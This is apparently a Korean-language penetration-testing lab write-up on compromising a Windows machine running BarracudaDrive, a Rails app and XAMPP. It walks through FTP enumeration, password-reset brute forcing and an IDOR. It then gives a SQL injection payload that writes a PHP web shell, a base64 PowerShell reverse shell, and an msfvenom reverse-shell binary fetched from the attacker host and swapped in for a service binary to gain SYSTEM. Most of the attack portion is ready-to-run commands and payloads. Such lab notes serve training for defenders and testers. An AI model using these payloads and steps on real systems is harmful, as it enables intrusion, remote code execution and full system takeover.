Machine IP : 192.168.198.127

초기 침투

[서비스] / [취약점] / [CVE 또는 기법] 요약 135,139,445,3306,5040,8000,30021,33033,44330,45332,45443,49664,49665,49666,49667,49668,49669 포트 오픈됨

3306/tcp  open  mysql         MariaDB 10.3.24 or later (unauthorized)
5040/tcp  open  unknown
8000/tcp  open  http-alt      BarracudaServer.com (Windows)
| fingerprint-strings: 
|   FourOhFourRequest, Socks5: 
|     HTTP/1.1 200 OK
|     Date: Sat, 16 May 2026 08:10:24 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   GenericLines, GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 16 May 2026 08:10:18 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 16 May 2026 08:10:29 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   SIPOptions: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 16 May 2026 08:11:34 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|     Content-Type: text/html
|     Cache-Control: no-store, no-cache, must-revalidate, max-age=0
|_    <html><body><h1>400 Bad Request</h1>Can't parse request<p>BarracudaServer.com (Windows)</p></body></html>
| http-webdav-scan: 
|   Server Type: BarracudaServer.com (Windows)
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PUT, COPY, DELETE, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Sat, 16 May 2026 08:12:53 GMT
|_http-title: Home
| http-methods: 
|_  Potentially risky methods: PROPFIND PUT COPY DELETE MOVE MKCOL PROPPATCH LOCK UNLOCK
|_http-server-header: BarracudaServer.com (Windows)
|_http-open-proxy: Proxy might be redirecting requests
30021/tcp open  ftp           FileZilla ftpd 0.9.41 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
|_ftp-bounce: bounce working!
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp            536 Nov 03  2020 .gitignore
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 app
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 bin
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 config
| -r--r--r-- 1 ftp ftp            130 Nov 03  2020 config.ru
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 db
| -r--r--r-- 1 ftp ftp           1750 Nov 03  2020 Gemfile
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 lib
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 log
| -r--r--r-- 1 ftp ftp             66 Nov 03  2020 package.json
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 public
| -r--r--r-- 1 ftp ftp            227 Nov 03  2020 Rakefile
| -r--r--r-- 1 ftp ftp            374 Nov 03  2020 README.md
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 test
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 tmp
|_drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 vendor
33033/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 3102
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8" />
|     <title>Action Controller: Exception caught</title>
|     <style>
|     body {
|     background-color: #FAFAFA;
|     color: #333;
|     margin: 0px;
|     body, p, ol, ul, td {
|     font-family: helvetica, verdana, arial, sans-serif;
|     font-size: 13px;
|     line-height: 18px;
|     font-size: 11px;
|     white-space: pre-wrap;
|     pre.box {
|     border: 1px solid #EEE;
|     padding: 10px;
|     margin: 0px;
|     width: 958px;
|     header {
|     color: #F0F0F0;
|     background: #C52F24;
|     padding: 0.5em 1.5em;
|     margin: 0.2em 0;
|     line-height: 1.1em;
|     font-size: 2em;
|     color: #C52F24;
|     line-height: 25px;
|     .details {
|_    bord
44330/tcp open  ssl/unknown
|_ssl-date: 2026-05-16T08:13:23+00:00; -9h00m00s from scanner time.
| ssl-cert: Subject: commonName=server demo 1024 bits/organizationName=Real Time Logic/stateOrProvinceName=CA/countryName=US
| Not valid before: 2009-08-27T14:40:47
|_Not valid after:  2019-08-25T14:40:47
45332/tcp open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Quiz App
45443/tcp open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Quiz App
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC

hosts 파일에 BarracudaServer.com 도메인 등록 echo '192.168.198.127 BarracudaServer.com' >> /etc/hosts

mysql 원격 접속은 실패함 FTP 익명 접속 가능

└─# ftp anonymous@192.168.198.127 -P30021                                                                             [0/145]
Connected to 192.168.198.127.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
331 Password required for anonymous
Password: 
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||50101|)
150 Connection accepted
-r--r--r-- 1 ftp ftp            536 Nov 03  2020 .gitignore
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 app
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 bin
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 config
-r--r--r-- 1 ftp ftp            130 Nov 03  2020 config.ru
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 db
-r--r--r-- 1 ftp ftp           1750 Nov 03  2020 Gemfile
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 lib
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 log
-r--r--r-- 1 ftp ftp             66 Nov 03  2020 package.json
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 public
-r--r--r-- 1 ftp ftp            227 Nov 03  2020 Rakefile
-r--r--r-- 1 ftp ftp            374 Nov 03  2020 README.md
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 test
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 tmp
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 vendor
226 Transfer OK

윈도우 서버이며 애플리케이션은 ru, rb 확장자를 봤을 땐 루비 사용함 config.ru 다운로드해서 읽음

┌──(kali㉿kali)-[~/oscp_pg/medjed/recon]
└─$ cat config.ru 
# This file is used by Rack-based servers to start the application.

require_relative 'config/environment'

run Rails.application

config 경로 진입, 주요 다운로드해 분석했으나 특이사항 없음

ftp> cd config
250 CWD successful. "/config" is current directory.
ftp> ls
229 Entering Extended Passive Mode (|||50165|)
150 Connection accepted
-r--r--r-- 1 ftp ftp            595 Nov 03  2020 application.rb
-r--r--r-- 1 ftp ftp            128 Nov 03  2020 boot.rb
-r--r--r-- 1 ftp ftp            154 Nov 03  2020 cable.yml
-r--r--r-- 1 ftp ftp            594 Nov 03  2020 database.yml
-r--r--r-- 1 ftp ftp            128 Nov 03  2020 environment.rb
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 environments
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 initializers
drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 locales
-r--r--r-- 1 ftp ftp           2306 Nov 03  2020 puma.rb
-r--r--r-- 1 ftp ftp            139 Nov 03  2020 routes.rb
-r--r--r-- 1 ftp ftp           1277 Nov 03  2020 secrets.yml
226 Transfer OK
ftp> 

http://192.168.198.127:8000/rtl/about.lsp BarracudaDrive 6.5 버전

8000 포트 접속하면 http://barracudaserver.com:8000/Config-Wizard/wizard/SetAdmin.lsp 이동하며 계정을 설정해야 함

BarracudaDrive 6.5 익스플로잇 확인

33033 포트 로그인 기능 있으며 비밀번호 찾기 기능이 있음 Jerren valon 프로필이 고양이라서 타겟으로 선정

nmap scan에 45443, 45332는 응답 헤더에 php version있어서 phpinfo.php 접속성공

reminder 파라미터는 비밀번호 힌트임 cewl -d 3 -m 3 -w brute.txt http://192.168.105.127:33033/users cewl 사용해 /users 페이지의 모든 단어 추출

브루트 포싱 결과, paranoid 단어가 응답 값이 가장 높음 모든 패킷의 응답 바디 값이 동일하기 때문에 response recived 값으로 추측함

패스워드 변경 성공

추가로 IDOR 취약점이 존재해 타 계정의 패스워드 변경도 가능함

하단의 Profile SLUG 접근

URL 파라미터에 사용자 입력이 전달됨 싱글쿼터 입력하니 SQL 에러 발생함

도큐먼트 루트 경로 Rails.root: C:/Sites/userpro 발견 45443 포트에서 phpinfo.php로 XAMPP 도큐먼트 루트 경로를 알았었음

' union select "<?php system($_GET['cmd']);?>" into outfile "C:/xampp/htdocs/shell.php" -- - 웹쉘 업로드

http://192.168.105.127:33033/slug?URL=%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%43%3a%2f%78%61%6d%70%70%2f%68%74%64%6f%63%73%2f%73%68%65%6c%6c%2e%70%68%70%22%20%2d%2d%20%2d

권한 상승

[misconfiguration 또는 exploit] 요약

htdocs 경로 밖을 벗어나는 것은 불가능한 것으로 추측됨 우선 파워쉘 사용해 리버스쉘 연결

http://192.168.105.127:45332/shell.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AY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kAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

local.txt

local 플래그 획득

insecure folder permissions 취약점을 악용한 Service Binary Hijacking

C 드라이브 열거

PS C:\users\jerren\desktop> cd C:\
PS C:\> ls


    Directory: C:\


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----          8/1/2024  10:49 PM                bd                                                                   
d-----         11/3/2020   1:46 PM                FTP                                                                  
d-----         12/7/2019   4:14 AM                PerfLogs                                                             
d-r---         12/2/2021   1:08 PM                Program Files                                                        
d-r---         12/2/2021   3:35 PM                Program Files (x86)                                                  
d-----         11/3/2020   3:43 PM                RailsInstaller                                                       
d-----         11/3/2020   3:43 PM                Ruby26-x64                                                           
d-----         11/3/2020   4:40 PM                Sites                                                                
d-r---         12/2/2021  12:37 PM                Users                                                                
d-----          4/8/2022   8:51 AM                Windows                                                              
d-----        10/16/2020   6:51 PM                xampp                                                                
-a----         5/17/2026   1:56 AM           2696 output.txt        

bd 폴더의 readme.txt 살펴보니 해당 폴더가 BarracudaDrive 폴더임

BarracudaDrive 6.5 버전은 insecure folder permissions 취약점이 존재함 이 취약점은 특정 파일이나 폴더에 대한 접근 권한(읽기, 쓰기, 실행 등)이 불필요하게 넓게 설정되어, 권한이 없는 사용자나 악성 프로그램이 해당 데이터를 마음대로 열람, 수정, 실행할 수 있는 보안 취약점이기 때문에 로컬 권한 상승이 가능함

NT AUTHORITY\Authenticated Users 계정은 폴더 내 수정 권한이 있음

PS C:\bd> icacls "C:\bd"
C:\bd BUILTIN\Administrators:(I)(OI)(CI)(F)
      NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
      BUILTIN\Users:(I)(OI)(CI)(RX)
      NT AUTHORITY\Authenticated Users:(I)(M)
      NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

bd.exe 파일은 재부팅되면 자동으로 시작되며 셧다운 권한은 활성화가 안되어있지만 권한이 부여되어있기 때문에 shutdown /r /f /t 0 명령어로 사용 가능

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'bd'} 32 비트 프로그램으로 동작 중

PS C:\xampp\htdocs> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'bd'}

Name StartMode
---- ---------
bd   Auto     

기존의 bd.exe 파일 이름 수정, move bd.exe bd.bak

32비트의 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.232 LPORT=30021 -f exe -o bd.exe 리버스쉘 페이로드 생성

리버스쉘 파일 업로드 iwr "http://192.168.45.232:8000/bd.exe" -o "C:\Windows\Tasks\bd.exe"

bd.exe 파일을 C:\bd\ 폴더로 옮긴 후, 재부팅 시도 shutdown /r /f /t 0

nt authority\system 권한 획득

proof.txt

C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
d8be0ec8977474fed1c1215343ff978b

막힌 포인트

[열거 누락? 기법 몰랐음? 방향 잘못?] 요약

OS가 x64 아키텍처여도 x86, 즉 32비트 프로세스를 서비스 바이너리 하이재킹으로 권한상승 할 때는 x86 리버스 쉘 페이로드를 사용해야 안정적으로 쉘이 연결됨 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.232 LPORT=30021 -f exe -o bd.exe